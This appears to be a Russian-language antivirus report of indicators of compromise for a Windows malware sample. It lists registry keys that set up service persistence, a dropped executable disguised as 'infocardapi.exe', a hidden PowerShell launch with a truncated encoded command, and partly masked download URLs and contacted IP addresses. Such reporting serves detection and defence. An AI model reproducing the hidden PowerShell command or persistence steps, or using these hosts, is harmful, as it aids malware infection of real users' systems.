Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\infocardapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\infocardapi] 'ImagePath' = '"%WINDIR%\SysWOW64\avicap32\infocardapi.exe"'
- 'infocardapi' "%WINDIR%\SysWOW64\avicap32\infocardapi.exe"
- 'infocardapi' %WINDIR%\SysWOW64\avicap32\infocardapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -ENCOD IABTAFYAIAAgADAAegBYACAAKABbAFQAeQBQAGUAXQAoACIAewAyAH0AewAwAH0AewA0AH0AewAzAH0AewAxAH0AIgAtAGYAIAAnAGUAJwAsACcAcgBFAEMAdABvAHIAWQAnACwAJwBzAFkAcwB0AC...
- %HOMEPATH%\jrbevk4\ccwr_2h\ale7g_8.exe
- %WINDIR%\syswow64\avicap32\infocardapi.exe
- %HOMEPATH%\jrbevk4\ccwr_2h\ale7g_8.exe в %WINDIR%\syswow64\avicap32\infocardapi.exe
- '10#.#82.145.130':80
- '17#.#73.254.105':80
- http://da####ustrial.com/js/9IdLP/
- http://17#.#73.254.105/BjYtbqOSDi9QM/jCC9Yd0w7IBJvkqZ/vCaHnFZK/GnkdydYE7o/3ds9qcMJ1/iaDhPJB/
- DNS ASK da####ustrial.com
- '%HOMEPATH%\jrbevk4\ccwr_2h\ale7g_8.exe'
- '%WINDIR%\syswow64\avicap32\infocardapi.exe'